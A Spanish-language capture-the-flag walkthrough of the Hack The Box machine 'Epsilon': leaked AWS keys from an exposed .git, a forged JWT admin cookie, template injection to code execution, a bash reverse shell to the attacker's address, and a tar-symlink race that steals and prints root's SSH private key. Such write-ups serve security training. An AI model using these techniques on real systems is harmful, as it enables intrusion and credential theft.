• Epsilon is a medium difficulty Linux machine which exposes a Git repository on the webserver. AWS credentials are leaked in Git commits, which allows downloading the AWS Lambda function code. Secret key found in the source code can be used to forge a cookie to gain access to the web application. Foothold is obtained by exploiting the Server Side Template Injection vulnerability in the application feature. Abusing the tar symlink in a cronjob gives root access.

PortScan

sudo nmap -sCV -p22,80,5000 10.10.11.134 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 18:13 CST
Nmap scan report for 10.10.11.134
Host is up (0.10s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git:
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración

  • En la pagina web principal obtenemos un código de estado 403.
❯ curl -s http://10.10.11.134
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.134 Port 80</address>
</body></html>
  • Si lo hacemos al puerto 5000 si nos responde.
❯ curl -s http://10.10.11.134:5000


<!DOCTYPE html>
<html lang="en" >

<head>

  <meta charset="UTF-8">

  <title>Costume Shop</title>
  • Como vemos no tenemos acceso.

  • En el puerto 5000 si podemos ver la web.

  • Después de probar varias querys para ver si es vulnerable a una SQL Injection no tuve éxito, Nmap nos reporto un .git pero antes vamos a hacer fuzzing para ver si encontramos algo.
❯ feroxbuster -u http://10.10.11.134:5000

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.134:5000
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        4l       34w      232c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        4l       24w      208c http://10.10.11.134:5000/home => http://10.10.11.134:5000/
200      GET      545l     2833w   217381c http://10.10.11.134:5000/static/img/costume.jpg
200      GET      205l      358w     3550c http://10.10.11.134:5000/
302      GET        4l       24w      208c http://10.10.11.134:5000/order => http://10.10.11.134:5000/
200      GET      234l      454w     4288c http://10.10.11.134:5000/track
200      GET      565l     3002w   320823c http://10.10.11.134:5000/static/img/ico.png
[####################] - 3m     30006/30006   0s      found:6       errors:3
[####################] - 3m     30000/30000   187/s   http://10.10.11.134:5000/ 
  • Las rutas order y track son interesantes así que vamos a ir a track.

  • Estamos como el Admin.

  • Si ponemos cualquier numero en el campo ID nos redirige al panel de login eso quiere decir que debemos estar logeados correctamente para acceder.

Git Enumeration

❯ git-dumper http://10.10.11.134/.git .
[-] Testing http://10.10.11.134/.git/HEAD [200]
[-] Testing http://10.10.11.134/.git/ [403]
[-] Fetching common files
[-] Fetching http://10.10.11.134/.gitignore [404]
[-] http://10.10.11.134/.gitignore responded with status code 404
[-] Fetching http://10.10.11.134/.git/description [200]
[-] Fetching http://10.10.11.134/.git/hooks/commit-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/COMMIT_EDITMSG [200]
[-] Fetching http://10.10.11.134/.git/hooks/post-commit.sample [404]
[-] http://10.10.11.134/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/post-receive.sample [404]
[-] http://10.10.11.134/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/update.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/post-update.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-receive.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://10.10.11.134/.git/objects/info/packs [404]
[-] http://10.10.11.134/.git/objects/info/packs responded with status code 404
[-] Fetching http://10.10.11.134/.git/hooks/pre-commit.sample [200]
[-] Fetching http://10.10.11.134/.git/hooks/pre-push.sample [200]
[-] Fetching http://10.10.11.134/.git/info/exclude [200]
[-] Fetching http://10.10.11.134/.git/index [200]
[-] Finding refs/
[-] Fetching http://10.10.11.134/.git/FETCH_HEAD [404]
[-] http://10.10.11.134/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/ORIG_HEAD [200]
[-] Fetching http://10.10.11.134/.git/HEAD [200]
[-] Fetching http://10.10.11.134/.git/info/refs [404]
[-] http://10.10.11.134/.git/info/refs responded with status code 404
[-] Fetching http://10.10.11.134/.git/config [200]
[-] Fetching http://10.10.11.134/.git/logs/refs/heads/master [200]
[-] Fetching http://10.10.11.134/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://10.10.11.134/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/logs/HEAD [200]
[-] Fetching http://10.10.11.134/.git/logs/refs/stash [404]
[-] http://10.10.11.134/.git/logs/refs/stash responded with status code 404
[-] Fetching http://10.10.11.134/.git/packed-refs [404]
[-] http://10.10.11.134/.git/packed-refs responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/heads/master [200]
[-] Fetching http://10.10.11.134/.git/refs/remotes/origin/HEAD [404]
[-] http://10.10.11.134/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/remotes/origin/master [404]
[-] Fetching http://10.10.11.134/.git/refs/stash [404]
[-] http://10.10.11.134/.git/refs/stash responded with status code 404
[-] http://10.10.11.134/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://10.10.11.134/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/refs/wip/index/refs/heads/master [404]
[-] http://10.10.11.134/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching http://10.10.11.134/.git/logs/refs/remotes/origin/master [404]
[-] http://10.10.11.134/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://10.10.11.134/.git/objects/c6/22771686bd74c16ece91193d29f85b5f9ffa91 [200]
[-] Fetching http://10.10.11.134/.git/objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d [200]
[-] Fetching http://10.10.11.134/.git/objects/df/dfa17ca5701b1dca5069b6c3f705a038f4361e [200]
[-] Fetching http://10.10.11.134/.git/objects/c5/1441640fd25e9fba42725147595b5918eba0f1 [200]
[-] Fetching http://10.10.11.134/.git/objects/5c/52105750831385d4756111e1103957ac599d02 [200]
[-] Fetching http://10.10.11.134/.git/objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630 [200]
[-] Fetching http://10.10.11.134/.git/objects/ce/401ccecf421ff19bf43fafe8a60a0d0f0682d0 [200]
[-] Fetching http://10.10.11.134/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] Fetching http://10.10.11.134/.git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3 [200]
[-] http://10.10.11.134/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://10.10.11.134/.git/objects/65/b80f62da28254f67f0bea392057fd7d2330e2d [200]
[-] Fetching http://10.10.11.134/.git/objects/cf/489a3776d2bf87ac32de4579e852a4dc116ce8 [200]
[-] Fetching http://10.10.11.134/.git/objects/ab/07f7cdc7f410b8c8f848ee5674ec550ecb61ca [200]
[-] Fetching http://10.10.11.134/.git/objects/b5/f4c99c772eeb629e53d284275458d75ed9a010 [200]
[-] Fetching http://10.10.11.134/.git/objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34 [200]
[-] Fetching http://10.10.11.134/.git/objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca [200]
[-] Running git checkout .
❯ pip3 install GitHack
Defaulting to user installation because normal site-packages is not writeable
Collecting GitHack
  Downloading githack-0.0.4.post1-py3-none-any.whl.metadata (2.0 kB)
Downloading githack-0.0.4.post1-py3-none-any.whl (54 kB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 54.2/54.2 kB 579.0 kB/s eta 0:00:00
Installing collected packages: GitHack
Successfully installed GitHack-0.0.4.post1
❯ githack http://10.10.11.134/.git/
  • Tenemos el proyecto.
ls -la
total 20
drwxr-xr-x 3 miguel miguel 4096 Jul  4 18:31 .
drwxr-xr-x 6 miguel miguel 4096 Jul  4 18:09 ..
drwxr-xr-x 7 miguel miguel 4096 Jul  4 18:31 .git
-rw-r--r-- 1 miguel miguel 1670 Jul  4 18:31 server.py
-rw-r--r-- 1 miguel miguel 1099 Jul  4 18:31 track_api_CR_148.py
  • Este es el código en Python3 donde corre el puerto 5000.
#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = '<secret_key>'

def verify_jwt(token,key):
	try:
		username=jwt.decode(token,key,algorithms=['HS256',])['username']
		if username:
			return True
		else:
			return False
	except:
		return False

@app.route("/", methods=["GET","POST"])
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="admin":
			res = make_response()
			username=request.form['username']
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
		else:
			return render_template('index.html')
	else:
		return render_template('index.html')

@app.route("/home")
def home():
	if verify_jwt(request.cookies.get('auth'),secret):
		return render_template('home.html')
	else:
		return redirect('/',code=302)

@app.route("/track",methods=["GET","POST"])
def track():
	if request.method=="POST":
		if verify_jwt(request.cookies.get('auth'),secret):
			return render_template('track.html',message=True)
		else:
			return redirect('/',code=302)
	else:
		return render_template('track.html')

@app.route('/order',methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)
		else:
			return render_template('order.html')
	else:
		return redirect('/',code=302)
app.run(debug='true')
  • En server.py podemos ver que verifica el jwt podemos crear uno pero en estos casos necesitamos el secret para que esa valido el problema es que no lo tenemos.

cat track_api_CR_148.py
import io
import os
from zipfile import ZipFile
from boto3.session import Session


session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')


def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name


def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()


def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))
  • Además se esta empleando lambda en Python3 es una función anónima pero vemos que si tiene algo que ver con AWS.

AWS Lambda

❯ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
❯ unzip awscliv2.zip
❯ sudo ./aws/install
[sudo] password for miguel:
You can now run: /usr/local/bin/aws --version
  • Ahora si ya lo tenemos instalado.
❯ aws -h

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

aws: error: the following arguments are required: command
  • En el script de Python3 donde nos hablaban de AWS y lambda nos dieron un subdominio el cual es el endpoint_url.

  • Vamos agregarlo al /etc/hosts.

echo "10.10.11.134 cloud.epsilon.htb epsilon.htb" | sudo tee -a /etc/hosts
10.10.11.134 cloud.epsilon.htb epsilon.htb
  • Para enumerar el servicio necesitamos una key así que vamos a enumerar el repositorio para ver si en algún momento la clave si estaba antes.
❯ git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master)
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 17:41:07 2021 +0000

    Fixed Typo

commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:02:59 2021 +0000

    Adding Costume Site

commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:58 2021 +0000

    Updatig Tracking API

commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date:   Wed Nov 17 10:00:28 2021 +0000

    Adding Tracking API Module
  • Vamos a inspeccionar este.
❯ git show 7cf92a7a09e523c1c667d13847c9ba22464412f3
  • Vemos la información que necesitamos.

aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
  • Vamos a configurar todo.
❯ aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]: json
  • Ahora vamos a conectarnos al endpoint.

  • Y agregamos lo de lambda para ver las funciones.

❯ aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "costume_shop_v1",
            "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
            "Runtime": "python3.7",
            "Role": "arn:aws:iam::123456789012:role/service-role/dev",
            "Handler": "my-function.handler",
            "CodeSize": 478,
            "Description": "",
            "Timeout": 3,
            "LastModified": "2024-07-05T00:05:15.900+0000",
            "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
            "Version": "$LATEST",
            "VpcConfig": {},
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "d44f236b-458b-4d09-9fb3-dcabbb784baa",
            "State": "Active",
            "LastUpdateStatus": "Successful",
            "PackageType": "Zip"
        }
    ]
}
  • Vemos que hay un .zip de la función costume_shop_v1 vamos a ver mas información.
❯ aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name=costume_shop_v1 | jq
{
  "Configuration": {
    "FunctionName": "costume_shop_v1",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
    "Runtime": "python3.7",
    "Role": "arn:aws:iam::123456789012:role/service-role/dev",
    "Handler": "my-function.handler",
    "CodeSize": 478,
    "Description": "",
    "Timeout": 3,
    "LastModified": "2024-07-05T00:05:15.900+0000",
    "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "RevisionId": "d44f236b-458b-4d09-9fb3-dcabbb784baa",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
  },
  "Code": {
    "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
  },
  "Tags": {}
}
  • Tenemos la ubicación del archivo .zip vamos a descargarlo.
❯ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
--2024-07-04 18:56:30--  http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
Resolving cloud.epsilon.htb (cloud.epsilon.htb)... 10.10.11.134
Connecting to cloud.epsilon.htb (cloud.epsilon.htb)|10.10.11.134|:80... connected.
HTTP request sent, awaiting response... 200
Length: 478 [application/zip]
Saving to: ‘code’

code                          100%[=================================================>]     478  --.-KB/s    in 0s

2024-07-04 18:56:30 (6.00 MB/s) - ‘code’ saved [478/478]

❯ file code
code: Zip archive data, at least v2.0 to extract, compression method=deflate
❯ mv code code.zip
  • Vemos un script en python3.
❯ unzip code.zip
Archive:  code.zip
  inflating: lambda_function.py
  • Tenemos un secret.

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
  • Como se usa JWT lo mas probable es que sea el secret que necesitamos que vimos en el secret.py cuando enumeramos el .git.

  • Ahora que tenemos el secret podemos construir el JWT basándonos en el script que nos comparten la sintaxis https://pyjwt.readthedocs.io/en/stable/.

❯ python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> jwt.encode({'username': 'admin'}, 'RrXCv`mrNe!K!4+5`wYq', algorithm="HS256")
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4'
  • Ahora vamos a incorporarla como una cookie.

  • Si vamos ala ruta /home vemos que ya no nos lleva al panel de login por que estamos conectados.

  • Vamos a crear una orden

  • Vemos que se crea.

  • Si cambiamos el nombre del costume vemos que funciona.

  • Vemos que podemos ejecutar comandos como nos dicen en Payload All the Things.

  • Tenemos RCE.

Shell as Tom

  • Vamos a enviarnos una reverse shell a nuestro equipo.
cat index.html
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.63/443 0>&1
  • Vamos hacer una petición para ver si la recibimos.

  • La recibimos.
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.134 - - [04/Jul/2024 19:25:17] "GET / HTTP/1.1" 200 -
  • Vamos a ponernos en escucha.
❯ nc -nlvp 443
listening on [any] 443 ...

  • Recibimos la shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.134] 37428
bash: cannot set terminal process group (991): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ whoami
whoami
tom
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tom@epsilon:/var/www/app$ ^Z
[1]  + 30566 suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + 30566 continued  nc -nlvp 443
                                    reset xterm
ENTER
tom@epsilon:/var/www/app$ export TERM=xterm
  • Si analizamos el código app.py podemos ver las credenciales para podernos logearnos al panel de login.
tom@epsilon:/var/www/app$ cat app.py
#!/usr/bin/python3

import jwt
from flask import *

app = Flask(__name__)
secret = 'RrXCv`mrNe!K!4+5`wYq'

def verify_jwt(token,key):
	try:
		username=jwt.decode(token,key,algorithms=['HS256',])['username']
		if username:
			return True
		else:
			return False
	except:
		return False

@app.route("/", methods=["GET","POST"])
def index():
	if request.method=="POST":
		if request.form['username']=="admin" and request.form['password']=="4d_09@fhgRTdws2":
			res = make_response()
			username=request.form['username']
			token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
			res.set_cookie("auth",token)
			res.headers['location']='/home'
			return res,302
		else:
			return render_template('index.html')
	else:
		return render_template('index.html')

@app.route("/home")
def home():
	if verify_jwt(request.cookies.get('auth'),secret):
		return render_template('home.html')
	else:
		return redirect('/',code=302)

@app.route("/track",methods=["GET","POST"])
def track():
	if request.method=="POST":
		if verify_jwt(request.cookies.get('auth'),secret):
			return render_template('track.html',message=True)
		else:
			return redirect('/',code=302)
	else:
		return render_template('track.html')

@app.route('/order',methods=["GET","POST"])
def order():
	if verify_jwt(request.cookies.get('auth'),secret):
		if request.method=="POST":
			costume=request.form["costume"]
			message = '''
			Your order of "{}" has been placed successfully.
			'''.format(costume)
			tmpl=render_template_string(message,costume=costume)
			return render_template('order.html',message=tmpl)
		else:
			return render_template('order.html')
	else:
		return redirect('/',code=302)
app.run('0.0.0.0',5000)
  • Si las probamos admin:4d_09@fhgRTdws2 funcionan.

Escalada de privilegios

tom@epsilon:/$ find \-perm -4000 2>/dev/null
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/eject/dmcrypt-get-device
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/lib/openssh/ssh-keysign
./usr/bin/mount
./usr/bin/sudo
./usr/bin/pkexec
./usr/bin/gpasswd
./usr/bin/umount
./usr/bin/passwd
./usr/bin/fusermount
./usr/bin/chsh
./usr/bin/at
./usr/bin/chfn
./usr/bin/newgrp
./usr/bin/su

  • Este es el codigo.
tom@epsilon:/dev/shm$ cat cat /usr/bin/backup.sh
cat: cat: No such file or directory
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

  • Podemos ver lo .tar.
tom@epsilon:/dev/shm$ ls -l /var/backups/web_backups
total 3920
-rw-r--r-- 1 root root 1003520 Jul  5 01:35 095722698.tar
-rw-r--r-- 1 root root 1003520 Jul  5 01:36 111519042.tar
-rw-r--r-- 1 root root 1003520 Jul  5 01:37 125049838.tar
-rw-r--r-- 1 root root 1003520 Jul  5 01:38 140228143.tar
  • Vamos a irnos a la ruta /tmp y crearemos un script.sh y le daremos permisos de ejecución.

  • Vamos a crear el archivo /opt/backups/checksum después lo vamos a borrar para hacer un enlace a /root/.ssh/id_rsa y secuestrarlo.

tom@epsilon:/tmp$ cat zi.sh
#!/bin/bash

while true; do
	if [ -e /opt/backups/checksum ]; then
		rm /opt/backups/checksum
		ln -s -f /root/.ssh/id_rsa /opt/backups/checksum
	       break
fi
done
tom@epsilon:/tmp$ chmod +x zi.sh
  • Esperamos unos minutos a que se ejecute la tarea.

  • Vamos a descomprimir el mas nuevo.

tom@epsilon:/tmp$ ./zi.sh
^C
tom@epsilon:/tmp$ cd /var/backups/web_backups/
tom@epsilon:/var/backups/web_backups$ ls -l
total 980
-rw-r--r-- 1 root root 1003520 Jul  5 01:50 311632114.tar
tom@epsilon:/var/backups/web_backups$ cp 311632114.tar /tmp
tom@epsilon:/var/backups/web_backups$ cd /tmp
tom@epsilon:/tmp$ tar -xf 311632114.tar
tom@epsilon:/opt/backups$ cd /tmp/opt/backups/
  • Vemos la id_rsa.
tom@epsilon:/tmp/opt/backups$ cat checksum 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF
16L/79L3nSFwAXdmUtrCIZuBNjXmRBMzp6euQjUPB/65yK9w8pieXewbWZ6lX1l6wHNygr
QFacJOu4ju+vXI/BVB43mvqXXfgUQqmkY62gmImf4xhP4RWwHCOSU8nDJv2s2+isMeYIXE
SB8l1wWP9EiPo0NWlJ8WPe2nziSB68vZjQS5yxLRtQvkSvpHBqW90frHWlpG1eXVK8S9B0
1PuEoxQjS0fNASZ2zhG8TJ1XAamxT3YuOhX2K6ssH36WVYSLOF/2KDlZsbJyxwG0V8QkgF
u0DPZ0V8ckuh0o+Lm64PFXlSyOFcb/1SU/wwid4i9aYzhNOQOxDSPh2vmXxPDkB0/dLAO6
wBlOakYszruVLMkngP89QOKLIGasmzIU816KKufUdLSFczig96aVRxeFcVAHgi1ry1O7Tr
oCIJewhvsh8I/kemAhNHjwt3imGulUmlIw/s1cpdAAAFiAR4Z9EEeGfRAAAAB3NzaC1yc2
EAAAGBANcNuldqL5jKXkgg2rjapbDxy7Uz/HSPB7kOMhmN46Gfc09TaHiHRdei/+/S950h
cAF3ZlLawiGbgTY15kQTM6enrkI1Dwf+ucivcPKYnl3sG1mepV9ZesBzcoK0BWnCTruI7v
r1yPwVQeN5r6l134FEKppGOtoJiJn+MYT+EVsBwjklPJwyb9rNvorDHmCFxEgfJdcFj/RI
j6NDVpSfFj3tp84kgevL2Y0EucsS0bUL5Er6RwalvdH6x1paRtXl1SvEvQdNT7hKMUI0tH
zQEmds4RvEydVwGpsU92LjoV9iurLB9+llWEizhf9ig5WbGycscBtFfEJIBbtAz2dFfHJL
odKPi5uuDxV5UsjhXG/9UlP8MIneIvWmM4TTkDsQ0j4dr5l8Tw5AdP3SwDusAZTmpGLM67
lSzJJ4D/PUDiiyBmrJsyFPNeiirn1HS0hXM4oPemlUcXhXFQB4Ita8tTu066AiCXsIb7If
CP5HpgITR48Ld4phrpVJpSMP7NXKXQAAAAMBAAEAAAGBAMULlg7cg8oaurKaL+6qoKD1nD
Jm9M2T9H6STENv5//CSvSHNzUgtVT0zE9hXXKDHc6qKX6HZNNIWedjEZ6UfYMDuD5/wUsR
EgeZAQO35XuniBPgsiQgp8HIxkaOTltuJ5fbyyT1qfeYPqwAZnz+PRGDdQmwieIYVCrNZ3
A1H4/kl6KmxNdVu3mfhRQ93gqQ5p0ytQhE13b8OWhdnepFriqGJHhUqRp1yNtWViqFDtM1
lzNACW5E1R2eC6V1DGyWzcKVvizzkXOBaD9LOAkd6m9llkrep4QJXDNtqUcDDJdYrgOiLd
/Ghihu64/9oj0qxyuzF/5B82Z3IcA5wvdeGEVhhOWtEHyCJijDLxKxROuBGl6rzjxsMxGa
gvpMXgUQPvupFyOapnSv6cfGfrUTKXSUwB2qXkpPxs5hUmNjixrDkIRZmcQriTcMmqGIz3
2uzGlUx4sSMmovkCIXMoMSHa7BhEH2WHHCQt6nvvM+m04vravD4GE5cRaBibwcc2XWHQAA
AMEAxHVbgkZfM4iVrNteV8+Eu6b1CDmiJ7ZRuNbewS17e6EY/j3htNcKsDbJmSl0Q0HqqP
mwGi6Kxa5xx6tKeA8zkYsS6bWyDmcpLXKC7+05ouhDFddEHwBjlCck/kPW1pCnWHuyjOm9
eXdBDDwA5PUF46vbkY1VMtsiqI2bkDr2r3PchrYQt/ZZq9bq6oXlUYc/BzltCtdJFAqLg5
8WBZSBDdIUoFba49ZnwxtzBClMVKTVoC9GaOBjLa3SUVDukw/GAAAAwQD0scMBrfeuo9CY
858FwSw19DwXDVzVSFpcYbV1CKzlmMHtrAQc+vPSjtUiD+NLOqljOv6EfTGoNemWnhYbtv
wHPJO6Sx4DL57RPiH7LOCeLX4d492hI0H6Z2VN6AA50BywjkrdlWm3sqJdt0BxFul6UIJM
04vqf3TGIQh50EALanN9wgLWPSvYtjZE8uyauSojTZ1Kc3Ww6qe21at8I4NhTmSq9HcK+T
KmGDLbEOX50oa2JFH2FCle7XYSTWbSQ9sAAADBAOD9YEjG9+6xw/6gdVr/hP/0S5vkvv3S
527afi2HYZYEw4i9UqRLBjGyku7fmrtwytJA5vqC5ZEcjK92zbyPhaa/oXfPSJsYk05Xjv
6wA2PLxVv9Xj5ysC+T5W7CBUvLHhhefuCMlqsJNLOJsAs9CSqwCIWiJlDi8zHkitf4s6Jp
Z8Y4xSvJMmb4XpkDMK464P+mve1yxQMyoBJ55BOm7oihut9st3Is4ckLkOdJxSYhIS46bX
BqhGglrHoh2JycJwAAAAxyb290QGVwc2lsb24BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
tom@epsilon:/tmp/opt/backups$ 

Shell as root and root.txt

  • Ahora podemos conectarnos como root por ssh.
❯ nano id_rsa
❯ chmod 600 id_rsa
❯ ssh -i id_rsa root@10.10.11.134
The authenticity of host '10.10.11.134 (10.10.11.134)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:36: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.134' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 05 Jul 2024 01:56:45 AM UTC

  System load:                      0.01
